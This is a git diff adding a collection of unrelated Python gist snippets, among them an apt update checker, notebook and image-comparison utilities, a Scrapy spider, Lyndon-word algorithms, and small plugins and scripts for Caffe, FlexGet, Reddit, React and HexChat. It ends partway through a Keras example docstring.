+    depcache.upgrade()
+    with apt.Cache() as aptcache:
+        for pkg in cache.packages:
+            if not depcache.marked_install(pkg) and \
+                    not depcache.marked_upgrade(pkg):
+                continue
+            inst_ver = pkg.current_ver
+            cand_ver = depcache.get_candidate_ver(pkg)
+            if cand_ver == inst_ver:
+                continue
+            security = False
+            phased = False
+            if isSecurityUpgrade(cand_ver):
+                security = True
+            elif inst_ver:
+                # Check for security updates that are masked by a candidate
+                # version from another repo (-proposed or -updates)
+                for ver in pkg.version_list:
+                    if apt_pkg.version_compare(ver.ver_str, inst_ver.ver_str) \
+                            > 0 and isSecurityUpgrade(ver):
+                        security = True
+                        break
+            if ul is not None and \
+                    ul._is_ignored_phased_update(aptcache[pkg.name]):
+                phased = True
+            yield Upgrade(
+                package=pkg.name,
+                installed=inst_ver.ver_str if inst_ver else None,
+                candidate=cand_ver.ver_str,
+                security=security,
+                phased=phased,
+            )
+
+def main():
+    updates = apt_check()
+    try:
+        from prettytable import PrettyTable
+    except ImportError:
+        for upd in updates:
+            print('{0.package:20} {0.installed!s:20} {0.candidate:20} {0.flags}'\
+                  .format(upd))
+    else:
+        tbl = PrettyTable(['Package', 'Installed', 'Candidate', 'SP'])
+        tbl.align = 'l'
+        for upd in updates:
+            tbl.add_row([upd.package, upd.installed, upd.candidate, upd.flags])
+        print(tbl.get_string(sortby='Package'))
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/1935808/._snippet.py b/hard-gists/1935808/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1935808/._snippet.py differ
diff --git a/hard-gists/1935808/snippet.py b/hard-gists/1935808/snippet.py
new file mode 100644
index 00000000..6e0d5975
--- /dev/null
+++ b/hard-gists/1935808/snippet.py
@@ -0,0 +1,43 @@
+"""Simple utility script for semi-gracefully downgrading v3 notebooks to v2"""
+
+import io
+import os
+import sys
+
+from IPython.nbformat import current
+
+def heading_to_md(cell):
+    """turn heading cell into corresponding markdown"""
+    cell.cell_type = "markdown"
+    level = cell.pop('level', 1)
+    cell.source = '#'*level + ' ' + cell.source
+
+def raw_to_md(cell):
+    """let raw passthrough as markdown"""
+    cell.cell_type = "markdown"
+
+def downgrade(nb):
+    """downgrade a v3 notebook to v2"""
+    if nb.nbformat != 3:
+        return nb
+    nb.nbformat = 2
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type == 'heading':
+                heading_to_md(cell)
+            elif cell.cell_type == 'raw':
+                raw_to_md(cell)
+    return nb
+
+def downgrade_ipynb(fname):
+    base, ext = os.path.splitext(fname)
+    newname = base+'.v2'+ext
+    print "downgrading %s -> %s" % (fname, newname)
+    with io.open(fname, 'r', encoding='utf8') as f:
+        nb = current.read(f, 'json')
+    nb = downgrade(nb)
+    with open(newname, 'w') as f:
+        current.write(nb, f, 'json')
+
+if __name__ == '__main__':
+    map(downgrade_ipynb, sys.argv[1:])
diff --git a/hard-gists/1940208/._snippet.py b/hard-gists/1940208/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1940208/._snippet.py differ
diff --git a/hard-gists/1940208/snippet.py b/hard-gists/1940208/snippet.py
new file mode 100644
index 00000000..8d077747
--- /dev/null
+++ b/hard-gists/1940208/snippet.py
@@ -0,0 +1,256 @@
+import math
+
+import Image
+import Levenshtein
+
+
+class BWImageCompare(object):
+    """Compares two images (b/w)."""
+
+    _pixel = 255
+    _colour = False
+
+    def __init__(self, imga, imgb, maxsize=64):
+        """Save a copy of the image objects."""
+
+        sizea, sizeb = imga.size, imgb.size
+
+        newx = min(sizea[0], sizeb[0], maxsize)
+        newy = min(sizea[1], sizeb[1], maxsize)
+
+        # Rescale to a common size:
+        imga = imga.resize((newx, newy), Image.BICUBIC)
+        imgb = imgb.resize((newx, newy), Image.BICUBIC)
+
+        if not self._colour:
+            # Store the images in B/W Int format
+            imga = imga.convert('I')
+            imgb = imgb.convert('I')
+
+        self._imga = imga
+        self._imgb = imgb
+
+        # Store the common image size
+        self.x, self.y = newx, newy
+
+    def _img_int(self, img):
+        """Convert an image to a list of pixels."""
+
+        x, y = img.size
+
+        for i in xrange(x):
+            for j in xrange(y):
+                yield img.getpixel((i, j))
+
+    @property
+    def imga_int(self):
+        """Return a tuple representing the first image."""
+
+        if not hasattr(self, '_imga_int'):
+            self._imga_int = tuple(self._img_int(self._imga))
+
+        return self._imga_int
+
+    @property
+    def imgb_int(self):
+        """Return a tuple representing the second image."""
+
+        if not hasattr(self, '_imgb_int'):
+            self._imgb_int = tuple(self._img_int(self._imgb))
+
+        return self._imgb_int
+
+    @property
+    def mse(self):
+        """Return the mean square error between the two images."""
+
+        if not hasattr(self, '_mse'):
+            tmp = sum((a-b)**2 for a, b in zip(self.imga_int, self.imgb_int))
+            self._mse = float(tmp) / self.x / self.y
+
+        return self._mse
+
+    @property
+    def psnr(self):
+        """Calculate the peak signal-to-noise ratio."""
+
+        if not hasattr(self, '_psnr'):
+            self._psnr = 20 * math.log(self._pixel / math.sqrt(self.mse), 10)
+
+        return self._psnr
+
+    @property
+    def nrmsd(self):
+        """Calculate the normalized root mean square deviation."""
+
+        if not hasattr(self, '_nrmsd'):
+            self._nrmsd = math.sqrt(self.mse) / self._pixel
+
+        return self._nrmsd
+
+    @property
+    def levenshtein(self):
+        """Calculate the Levenshtein distance."""
+
+        if not hasattr(self, '_lv'):
+            stra = ''.join((chr(x) for x in self.imga_int))
+            strb = ''.join((chr(x) for x in self.imgb_int))
+
+            lv = Levenshtein.distance(stra, strb)
+
+            self._lv = float(lv) / self.x / self.y
+
+        return self._lv
+
+
+class ImageCompare(BWImageCompare):
+    """Compares two images (colour)."""
+
+    _pixel = 255 ** 3
+    _colour = True
+
+    def _img_int(self, img):
+        """Convert an image to a list of pixels."""
+
+        x, y = img.size
+
+        for i in xrange(x):
+            for j in xrange(y):
+                pixel = img.getpixel((i, j))
+                yield pixel[0] | (pixel[1]<<8) | (pixel[2]<<16)
+
+    @property
+    def levenshtein(self):
+        """Calculate the Levenshtein distance."""
+
+        if not hasattr(self, '_lv'):
+            stra_r = ''.join((chr(x>>16) for x in self.imga_int))
+            strb_r = ''.join((chr(x>>16) for x in self.imgb_int))
+            lv_r = Levenshtein.distance(stra_r, strb_r)
+
+            stra_g = ''.join((chr((x>>8)&0xff) for x in self.imga_int))
+            strb_g = ''.join((chr((x>>8)&0xff) for x in self.imgb_int))
+            lv_g = Levenshtein.distance(stra_g, strb_g)
+
+            stra_b = ''.join((chr(x&0xff) for x in self.imga_int))
+            strb_b = ''.join((chr(x&0xff) for x in self.imgb_int))
+            lv_b = Levenshtein.distance(stra_b, strb_b)
+
+            self._lv = (lv_r + lv_g + lv_b) / 3. / self.x / self.y
+
+        return self._lv
+
+
+class FuzzyImageCompare(object):
+    """Compares two images based on the previous comparison values."""
+
+    def __init__(self, imga, imgb, lb=1, tol=15):
+        """Store the images in the instance."""
+
+        self._imga, self._imgb, self._lb, self._tol = imga, imgb, lb, tol
+
+    def compare(self):
+        """Run all the comparisons."""
+
+        if hasattr(self, '_compare'):
+            return self._compare
+
+        lb, i = self._lb, 2
+
+        diffs = {
+            'levenshtein': [],
+            'nrmsd': [],
+            'psnr': [],
+        }
+
+        stop = {
+            'levenshtein': False,
+            'nrmsd': False,
+            'psnr': False,
+        }
+
+        while not all(stop.values()):
+            cmp = ImageCompare(self._imga, self._imgb, i)
+
+            diff = diffs['levenshtein']
+            if len(diff) >= lb+2 and \
+                abs(diff[-1] - diff[-lb-1]) <= abs(diff[-lb-1] - diff[-lb-2]):
+                stop['levenshtein'] = True
+            else:
+                diff.append(cmp.levenshtein)
+
+            diff = diffs['nrmsd']
+            if len(diff) >= lb+2 and \
+                abs(diff[-1] - diff[-lb-1]) <= abs(diff[-lb-1] - diff[-lb-2]):
+                stop['nrmsd'] = True
+            else:
+                diff.append(cmp.nrmsd)
+
+            diff = diffs['psnr']
+            if len(diff) >= lb+2 and \
+                abs(diff[-1] - diff[-lb-1]) <= abs(diff[-lb-1] - diff[-lb-2]):
+                stop['psnr'] = True
+            else:
+                try:
+                    diff.append(cmp.psnr)
+                except ZeroDivisionError:
+                    diff.append(-1)  # to indicate that the images are identical
+
+            i *= 2
+
+        self._compare = {
+            'levenshtein': 100 - diffs['levenshtein'][-1] * 100,
+            'nrmsd': 100 - diffs['nrmsd'][-1] * 100,
+            'psnr': diffs['psnr'][-1] == -1 and 100.0 or diffs['psnr'][-1],
+        }
+
+        return self._compare
+
+    def similarity(self):
+        """Try to calculate the image similarity."""
+
+        cmp = self.compare()
+
+        lnrmsd = (cmp['levenshtein'] + cmp['nrmsd']) / 2
+        return lnrmsd
+        return min(lnrmsd * cmp['psnr'] / self._tol, 100.0)  # TODO: fix psnr!
+
+
+if __name__ == '__main__':
+
+    import sys
+
+    if len(sys.argv) < 3:
+        print 'usage: %s image-file-1.jpg image-file-2.jpg ...' % sys.argv[0]
+        sys.exit()
+
+    tot = len(sys.argv) - 1
+    tot = (tot ** 2 - tot) / 2
+
+    print 'Comparing %d images:' % tot
+
+    images = {}
+    for img in sys.argv[1:]:
+        images[img] = Image.open(img)
+
+    results, i = {}, 1
+    for namea, imga in images.items():
+        for nameb, imgb in images.items():
+            if namea == nameb or (nameb, namea) in results:
+                continue
+
+            print ' * %2d / %2d:' % (i, tot),
+            print namea, nameb, '...',
+
+            cmp = FuzzyImageCompare(imga, imgb)
+            sim = cmp.similarity()
+            results[(namea, nameb)] = sim
+
+            print '%.2f %%' % sim
+
+            i += 1
+
+    res = max(results.values())
+    imgs = [k for k, v in results.iteritems() if v == res][0]
+
+    print 'Most similar images: %s %s (%.2f %%)' % (imgs[0], imgs[1], res)
\ No newline at end of file
diff --git a/hard-gists/1943426/._snippet.py b/hard-gists/1943426/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1943426/._snippet.py differ
diff --git a/hard-gists/1943426/snippet.py b/hard-gists/1943426/snippet.py
new file mode 100644
index 00000000..1c4030fe
--- /dev/null
+++ b/hard-gists/1943426/snippet.py
@@ -0,0 +1,4 @@
+from django.template.loader import add_to_builtins
+add_to_builtins('django.contrib.staticfiles.templatetags.staticfiles')
+add_to_builtins('django.templatetags.i18n')
+add_to_builtins('django.templatetags.future')
diff --git a/hard-gists/1947166/._snippet.py b/hard-gists/1947166/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1947166/._snippet.py differ
diff --git a/hard-gists/1947166/snippet.py b/hard-gists/1947166/snippet.py
new file mode 100644
index 00000000..ea386e1d
--- /dev/null
+++ b/hard-gists/1947166/snippet.py
@@ -0,0 +1,14 @@
+from scrapy.http import Request
+from scrapy.spider import BaseSpider
+from scrapy.selector import HtmlXPathSelector
+
+class HackernewsSpider(BaseSpider):
+  name = 'hackernews'
+  allowed_domains = []
+  start_urls = ['http://news.ycombinator.com']
+  def parse(self, response):
+    if 'news.ycombinator.com' in response.url:
+        hxs = HtmlXPathSelector(response)
+        titles = sites = hxs.select('//td[@class="title"]//a/text()')
+        for title in titles:
+            print title.extract()
diff --git a/hard-gists/1950267/._snippet.py b/hard-gists/1950267/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1950267/._snippet.py differ
diff --git a/hard-gists/1950267/snippet.py b/hard-gists/1950267/snippet.py
new file mode 100644
index 00000000..121f9470
--- /dev/null
+++ b/hard-gists/1950267/snippet.py
@@ -0,0 +1,170 @@
+"""Lyndon.py
+Algorithms on strings and sequences based on Lyndon words.
+David Eppstein, October 2011."""
+
+import unittest
+from Eratosthenes import MoebiusFunction
+
+def LengthLimitedLyndonWords(s,n):
+    """Generate nonempty Lyndon words of length <= n over an s-symbol alphabet.
+    The words are generated in lexicographic order, using an algorithm from
+    J.-P. Duval, Theor. Comput. Sci. 1988, doi:10.1016/0304-3975(88)90113-2.
+    As shown by Berstel and Pocchiola, it takes constant average time
+    per generated word."""
+    w = [-1]                            # set up for first increment
+    while w:
+        w[-1] += 1                      # increment the last non-z symbol
+        yield w
+        m = len(w)
+        while len(w) < n:               # repeat word to fill exactly n syms
+            w.append(w[-m])
+        while w and w[-1] == s - 1:     # delete trailing z's
+            w.pop()
+
+def LyndonWordsWithLength(s,n):
+    """Generate Lyndon words of length exactly n over an s-symbol alphabet.
+    Since nearly half of the outputs of LengthLimitedLyndonWords(s,n)
+    have the desired length, it again takes constant average time per word."""
+    if n == 0:
+        yield []    # the empty word is a special case not handled by main alg
+    for w in LengthLimitedLyndonWords(s,n):
+        if len(w) == n:
+            yield w
+
+def LyndonWords(s):
+    """Generate all Lyndon words over an s-symbol alphabet.
+    The generation order is by length, then lexicographic within each length."""
+    n = 0
+    while True:
+        for w in LyndonWordsWithLength(s,n):
+            yield w
+        n += 1
+
+def DeBruijnSequence(s,n):
+    """Generate a De Bruijn sequence for words of length n over s symbols
+    by concatenating together in lexicographic order the Lyndon words
+    whose lengths divide n. The output length will be s^n.
+    Because nearly half of the generated sequences will have length
+    exactly n, the algorithm will take O(s^n/n) steps, and the bulk
+    of the time will be spent in sequence concatenation."""
+    
+    output = []
+    for w in LengthLimitedLyndonWords(s,n):
+        if n % len(w) == 0:
+            output += w
+    return output
+
+def CountLyndonWords(s,n):
+    """The number of length-n Lyndon words over s symbols."""
+    if n == 0:
+        return 1
+    total = 0
+    for i in range(1,n+1):
+        if n%i == 0:
+            total += MoebiusFunction(n/i) * s**i
+    return total//n
+
+def ChenFoxLyndonBreakpoints(s):
+    """Find starting positions of Chen-Fox-Lyndon decomposition of s.
+    The decomposition is a set of Lyndon words that start at 0 and
+    continue until the next position. 0 itself is not output, but
+    the final breakpoint at the end of s is. The argument s must be
+    of a type that can be indexed (e.g. a list, tuple, or string).
+    The algorithm follows Duval, J. Algorithms 1983, but uses 0-based
+    indexing rather than Duval's choice of 1-based indexing."""
+    k = 0
+    while k < len(s):
+        i,j = k,k+1
+        while j < len(s) and s[i] <= s[j]:
+            i = (s[i] == s[j]) and i+1 or k     # Python cond?yes:no syntax
+            j += 1
+        while k < i+1:
+            k += j-i
+            yield k
+
+def ChenFoxLyndon(s):
+    """Decompose s into Lyndon words according to the Chen-Fox-Lyndon theorem.
+    The arguments are the same as for ChenFoxLyndonBreakpoints but the
+    return values are subsequences of s rather than indices of breakpoints."""
+    old = 0
+    for k in ChenFoxLyndonBreakpoints(s):
+        yield s[old:k]
+        old = k
+
+def SmallestSuffix(s):
+    """Find the suffix of s that is smallest in lexicographic order."""
+    for w in ChenFoxLyndon(s):
+        pass
+    return w
+
+def SmallestRotation(s):
+    """Find the rotation of s that is smallest in lexicographic order.
+    Duval 1983 describes how to modify his algorithm to do so but I think
+    it's cleaner and more general to work from the ChenFoxLyndon output."""
+    prev,rep = None,0
+    for w in ChenFoxLyndon(s+s):
+        if w == prev:
+            rep += 1
+        else:
+            prev,rep = w,1
+        if len(w)*rep == len(s):
+            return w*rep
+    raise Exception("Reached end of factorization with no shortest rotation")
+
+def isLyndonWord(s):
+    """Is the given sequence a Lyndon word?"""
+    if len(s) == 0:
+        return True
+    return ChenFoxLyndonBreakpoints(s).next() == len(s)
+
+# If run standalone, perform unit tests
+class LyndonTest(unittest.TestCase):
+    def testCount(self):
+        """Test that we count Lyndon words correctly."""
+        for s in range(2,7):
+            for n in range(1,6):
+                self.assertEqual(CountLyndonWords(s,n),
+                    len(list(LyndonWordsWithLength(s,n))))
+
+    def testOrder(self):
+        """Test that we generate Lyndon words in lexicographic order."""
+        for s in range(2,7):
+            for n in range(1,6):
+                prev = None
+                for x in LengthLimitedLyndonWords(s,n):
+                    self.assert_(prev < x)
+                    prev = list(x)
+
+    def testSubsequence(self):
+        """Test that words of length n-1 are a subsequence of length n."""
+        for s in range(2,7):
+            for n in range(2,6):
+                smaller = LengthLimitedLyndonWords(s,n-1)
+                for x in LengthLimitedLyndonWords(s,n):
+                    if len(x) < n:
+                        self.assertEqual(x,smaller.next())
+    
+    def testIsLyndon(self):
+        """Test that the words we generate are Lyndon words."""
+        for s in range(2,7):
+            for n in range(2,6):
+                for w in LengthLimitedLyndonWords(s,n):
+                    self.assertEqual(isLyndonWord(w), True)
+    
+    def testNotLyndon(self):
+        """Test that words that are not Lyndon words aren't claimed to be."""
+        nl = sum(1 for i in range(8**4) if isLyndonWord("%04o" % i))
+        self.assertEqual(nl,CountLyndonWords(8,4))
+
+    def testDeBruijn(self):
+        """Test that the De Bruijn sequence is correct."""
+        for s in range(2,7):
+            for n in range(1,6):
+                db = DeBruijnSequence(s,n)
+                self.assertEqual(len(db), s**n)
+                db = db + db    # duplicate so we can wrap easier
+                subs = set(tuple(db[i:i+n]) for i in range(s**n))
+                self.assertEqual(len(subs), s**n)
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/hard-gists/1951709/._snippet.py b/hard-gists/1951709/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1951709/._snippet.py differ
diff --git a/hard-gists/1951709/snippet.py b/hard-gists/1951709/snippet.py
new file mode 100644
index 00000000..24612b89
--- /dev/null
+++ b/hard-gists/1951709/snippet.py
@@ -0,0 +1,32 @@
+from PyQt4 import QtCore, QtGui
+
+class Dialog(QtGui.QDialog):
+
+	def __init__(self, parent=None):
+		super(Dialog, self).__init__(parent)
+		self.resize(300,200)
+
+
+	def showEvent(self, event):
+		geom = self.frameGeometry()
+		geom.moveCenter(QtGui.QCursor.pos())
+		self.setGeometry(geom)
+		super(Dialog, self).showEvent(event)
+
+
+	def keyPressEvent(self, event):
+		if event.key() == QtCore.Qt.Key_Escape:
+			self.hide()
+			event.accept()
+		else:
+			super(Dialog, self).keyPressEvent(event)
+
+
+if __name__ == "__main__":
+	app = QtGui.QApplication([])
+
+	d = Dialog()
+	d.show()
+	d.raise_()
+
+	app.exec_()
\ No newline at end of file
diff --git a/hard-gists/1969d4648458cf876af92b3507856d70/._snippet.py b/hard-gists/1969d4648458cf876af92b3507856d70/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1969d4648458cf876af92b3507856d70/._snippet.py differ
diff --git a/hard-gists/1969d4648458cf876af92b3507856d70/snippet.py b/hard-gists/1969d4648458cf876af92b3507856d70/snippet.py
new file mode 100644
index 00000000..0586ab74
--- /dev/null
+++ b/hard-gists/1969d4648458cf876af92b3507856d70/snippet.py
@@ -0,0 +1,90 @@
+# coding:utf-8
+# author:ChrisZZ
+# description: 从caffemodel文件解析出网络训练信息，以类似train.prototxt的形式输出到屏幕
+
+#import _init_paths
+import caffe.proto.caffe_pb2 as caffe_pb2
+
+caffemodel_filename = 'RA_CNN.caffemodel'
+model = caffe_pb2.NetParameter()
+
+f=open(caffemodel_filename, 'rb')
+model.ParseFromString(f.read())
+f.close()
+
+layers = model.layer
+print 'name: "%s"'%model.name
+layer_id=-1
+for layer in layers:
+    layer_id = layer_id + 1
+    print 'layer {'
+    print '  name: "%s"'%layer.name
+    print '  type: "%s"'%layer.type
+
+    
+    tops = layer.top
+    for top in tops:
+        print '  top: "%s"'%top
+    
+    bottoms = layer.bottom
+    for bottom in bottoms:
+        print '  bottom: "%s"'%bottom
+    
+    if len(layer.include)>0:
+        print '  include {'
+        includes = layer.include
+        phase_mapper={
+            '0': 'TRAIN',
+            '1': 'TEST'
+        }
+        
+        for include in includes:
+            if include.phase is not None:
+                print '    phase: ', phase_mapper[str(include.phase)]
+        print '  }'
+    
+    if layer.transform_param is not None and layer.transform_param.scale is not None and layer.transform_param.scale!=1:
+        print '  transform_param {'
+        print '    scale: %s'%layer.transform_param.scale
+        print '  }'
+
+    if layer.data_param is not None and (layer.data_param.source!="" or layer.data_param.batch_size!=0 or layer.data_param.backend!=0):
+        print '  data_param: {'
+        if layer.data_param.source is not None:
+            print '    source: "%s"'%layer.data_param.source
+        if layer.data_param.batch_size is not None:
+            print '    batch_size: %d'%layer.data_param.batch_size
+        if layer.data_param.backend is not None:
+            print '    backend: %s'%layer.data_param.backend
+        print '  }'
+        
+    if layer.param is not None:
+        params = layer.param
+        for param in params:
+            print '  param {'
+            if param.lr_mult is not None:
+                print '    lr_mult: %s'% param.lr_mult
+            print '  }'
+    
+    if layer.convolution_param is not None:
+        print '  convolution_param {'
+        conv_param = layer.convolution_param
+        if conv_param.num_output is not None:
+            print '    num_output: %d'%conv_param.num_output
+        if len(conv_param.kernel_size) > 0:
+            for kernel_size in conv_param.kernel_size:
+                print '    kernel_size: ',kernel_size
+        if len(conv_param.stride) > 0:
+            for stride in conv_param.stride:
+                print '    stride: ', stride
+        if conv_param.weight_filler is not None:
+            print '    weight_filler {'
+            print '      type: "%s"'%conv_param.weight_filler.type
+            print '    }'
+        if conv_param.bias_filler is not None:
+            print '    bias_filler {'
+            print '      type: "%s"'%conv_param.bias_filler.type
+            print '    }'
+        print '  }'
+    
+    print '}'
diff --git a/hard-gists/1971061/._snippet.py b/hard-gists/1971061/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1971061/._snippet.py differ
diff --git a/hard-gists/1971061/snippet.py b/hard-gists/1971061/snippet.py
new file mode 100644
index 00000000..985af11a
--- /dev/null
+++ b/hard-gists/1971061/snippet.py
@@ -0,0 +1,46 @@
+import putio
+import logging
+from flexget import validator
+from flexget.plugin import register_plugin
+
+log = logging.getLogger('putio')
+
+class PutIOPlugin(object):
+    """
+    Plugin to add and fetch your torrents on put.io
+    Place this file and the putio.py file from https://put.io/service/api
+    in your flexget plugins folder (usually $HOME/.flexget/plugins/)
+    Sample config usage (in $HOME/.flexget/config.yml)
+
+        presets:
+          tv: 
+            putio:
+              key: <API_KEY>
+              secret: <API_SECRET>
+    """
+
+    def validator(self):
+        root = validator.factory('root')
+        root.accept('boolean')
+        config = root.accept('dict')
+        config.accept('text', key='key')
+        config.accept('text', key='secret')
+        return root
+
+    def on_feed_output(self, feed, config):
+        if config is True:
+            config = {}
+        elif config is False:
+            return
+
+        api = putio.Api(config.get('key'), config.get('secret'))
+        bucket = api.create_bucket()
+
+        urls = [ entry['url'] for entry in feed.accepted ]
+        if urls:
+            log.info('Put.io: analyzing accepted urls')
+            bucket.analyze(urls)
+            log.info('Put.io: fetching accepted urls')
+            bucket.fetch()
+
+register_plugin(PutIOPlugin, 'putio', api_ver=2)
diff --git a/hard-gists/1997771/._snippet.py b/hard-gists/1997771/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1997771/._snippet.py differ
diff --git a/hard-gists/1997771/snippet.py b/hard-gists/1997771/snippet.py
new file mode 100644
index 00000000..c110d1fc
--- /dev/null
+++ b/hard-gists/1997771/snippet.py
@@ -0,0 +1,53 @@
+# reddit_test.py
+import urllib.request
+import json
+from pdb import set_trace
+from time import sleep, time
+
+def timeit( func2wrap ):
+    def wrapped_func(*args):
+        start_time = time()
+        res = func2wrap(*args)
+        end_time = time()
+        time_elapsed = end_time - start_time
+        print("time elapsed: %s" % time_elapsed)
+        return res
+    return wrapped_func
+
+
+# run a test on link related rest endpoints.
+@timeit
+def invoke_rest_service( rest_url ):
+    sleep(2)
+    sock = urllib.request.urlopen( rest_url )
+    raw_data = sock.read().decode( "utf-8" )
+    json_data = json.loads( raw_data )
+    formatted_data = json.dumps( json_data, indent=4 )
+    return formatted_data
+
+
+# test against the comment api thing.
+comment_url = "https://www.reddit.com/comments/6nw57.json"
+res = invoke_rest_service( comment_url )
+print(res)
+
+
+# test a fullname id lookup.
+by_id_url = "http://www.reddit.com/by_id/t3_qlqio.json"
+res = invoke_rest_service( by_id_url )
+print(res)
+
+# test a profile lookup
+profile_url = "http://www.reddit.com/user/pyglados/about.json"
+res = invoke_rest_service( profile_url )
+print( res )
+
+# api info
+api_info = "http://www.reddit.com/api/info.json"
+res = invoke_rest_service( api_info )
+print( res )
+
+#test a subreddit lookup
+subreddit_url = "http://www.reddit.com/r/mylittlepony/about.json"
+res = invoke_rest_service( subreddit_url )
+print( res )
\ No newline at end of file
diff --git a/hard-gists/19a4b105d1dff9a591b8/._snippet.py b/hard-gists/19a4b105d1dff9a591b8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/19a4b105d1dff9a591b8/._snippet.py differ
diff --git a/hard-gists/19a4b105d1dff9a591b8/snippet.py b/hard-gists/19a4b105d1dff9a591b8/snippet.py
new file mode 100644
index 00000000..cd92d5ff
--- /dev/null
+++ b/hard-gists/19a4b105d1dff9a591b8/snippet.py
@@ -0,0 +1,97 @@
+import execjs
+import os
+here = os.path.dirname(__file__)
+node_modules = os.path.abspath(os.path.join(here, './node_modules'))
+
+class Babel:
+    def __init__(self, *module_paths):
+        """Constructor
+
+        :param module_paths: Paths to node_modules
+        """
+        self.paths = module_paths
+        # This is used to let execjs know where the
+        # modules are
+        self.module_append_string = '\n'.join(
+            'module.paths.push("%s")\n' % p for p in self.paths
+        )
+        command_string = 'var babel = require("babel-core")'
+        self.babel = execjs.compile(self.module_append_string + command_string)
+
+    def transpile(self, code, options=None):
+        """Takes code and runs it through babel.js
+
+        if ``options`` is not provided it'll default to:
+
+        .. code-block:: python
+
+            {'ast': false, 'presets': ['react', 'es2015']}
+        """
+        if options is None:
+            options = {
+                'ast': False,
+                'presets': ['react', 'es2015'],
+            }
+
+        transpiled_code = self.babel.call(
+            'babel.transform', code, options
+        )['code']
+
+        return transpiled_code
+
+class React:
+    def __init__(self, babel):
+        """Constructor
+
+        :param babel: Instance of ``babel``.
+        """
+        self.babel = babel
+        self.codes = []
+
+    def add_code(self, code):
+        """Registers some code to be included
+
+        This registers a class to be included in the rendering context.
+        """
+        self.codes.append(code)
+
+    def render_string(self, code):
+        """Renders a string of JSX
+
+        This will take a JSX string and render it to HTML
+        """
+        classes = '\n'.join(
+            '{0};'.format(code) for code in self.codes
+        )
+
+        # we don't use `es2015` preset here because it
+        # forces `use strict`
+        element_options = {'ast': False, 'presets': ['react']}
+        element = self.babel.transpile(code, element_options)
+        es6_code = """
+import ReactDOMServer from "react-dom/server";
+{0}
+function __render() {{
+    var element = {1}
+    return ReactDOMServer.renderToString(element);
+}};""".format(classes, element);
+        transpiled = self.babel.transpile(es6_code)
+        final_code = self.babel.module_append_string + transpiled
+        compiled = execjs.compile(final_code)
+        result = compiled.call('__render')
+        return result
+
+
+babel = Babel(node_modules)
+react = React(babel)
+original_source = """
+import React from "react";
+
+class HelloWorld extends React.Component {
+    render() {
+        return <p>Hello, world!</p>;
+    }
+}
+"""
+react.add_code(original_source)
+print(react.render_string("<HelloWorld />"))
diff --git a/hard-gists/19d2397ff8da1952556cf2417d965f6c/._snippet.py b/hard-gists/19d2397ff8da1952556cf2417d965f6c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/19d2397ff8da1952556cf2417d965f6c/._snippet.py differ
diff --git a/hard-gists/19d2397ff8da1952556cf2417d965f6c/snippet.py b/hard-gists/19d2397ff8da1952556cf2417d965f6c/snippet.py
new file mode 100644
index 00000000..43cb7b5c
--- /dev/null
+++ b/hard-gists/19d2397ff8da1952556cf2417d965f6c/snippet.py
@@ -0,0 +1,24 @@
+
+## Makes a monitor where the mean of last x oob improvements
+## are used to determine early stopping. This can be ammended
+## to any stopping criteria one sees as fit - consecutive x 
+## negatives, more negatives than positives in last x, etc.
+def make_monitor(running_mean_len):
+    def monitor(i,self,args):
+        if np.mean(self.oob_improvement_[max(0,i-running_mean_len+1):i+1])<0:
+            return True
+        else:
+            return False
+    return monitor
+
+  
+## Example use
+from sklearn.ensemble import GradientBoostingRegressor
+
+gbr = GradientBoostingRegressor(n_estimators=10000000,verbose=5) ## n_estimators can be arbitrarily high
+
+monitor = make_monitor(10) ## this is a number that should be fit to a validation set
+gbr.fit(X_train,y_train,monitor=monitor)
+
+print gbr.estimators_.shape[0]
+
diff --git a/hard-gists/1a43c785226a06a72872/._snippet.py b/hard-gists/1a43c785226a06a72872/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1a43c785226a06a72872/._snippet.py differ
diff --git a/hard-gists/1a43c785226a06a72872/snippet.py b/hard-gists/1a43c785226a06a72872/snippet.py
new file mode 100644
index 00000000..792252f6
--- /dev/null
+++ b/hard-gists/1a43c785226a06a72872/snippet.py
@@ -0,0 +1,11 @@
+import hexchat
+ 
+__module_name__        = "novoice"
+__module_version__     = "2.0"
+__module_description__ = "Ignores voice messages from ChanServ"
+ 
+def voice_event(word, word_eol, userdata):
+    return hexchat.EAT_HEXCHAT
+ 
+hexchat.hook_print("Channel Voice", voice_event)
+hexchat.hook_print("Channel DeVoice", voice_event)
\ No newline at end of file
diff --git a/hard-gists/1ad56b7720af8d706e7f22cbcb8c6d70/._snippet.py b/hard-gists/1ad56b7720af8d706e7f22cbcb8c6d70/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1ad56b7720af8d706e7f22cbcb8c6d70/._snippet.py differ
diff --git a/hard-gists/1ad56b7720af8d706e7f22cbcb8c6d70/snippet.py b/hard-gists/1ad56b7720af8d706e7f22cbcb8c6d70/snippet.py
new file mode 100644
index 00000000..5e1d848d
--- /dev/null
+++ b/hard-gists/1ad56b7720af8d706e7f22cbcb8c6d70/snippet.py
@@ -0,0 +1,97 @@
+'''Trains a multi-output deep NN on the MNIST dataset using crossentropy and
+   policy gradients (REINFORCE).
+The goal of this example is twofold:
+* Show how to use policy graidents for training
+* Show how to use generators with multioutput models
+# Policy graidients
+This is a Reinforcement Learning technique [1] that trains the model
+following the gradient of the logarithm of action taken scaled by the advantage
+(reward - baseline) of that action.
+# Generators
+They are useful for data augmentation on the fly and for pulling off core data
+from disk as you go. This example shows a simple generator signature for
+multioutput models
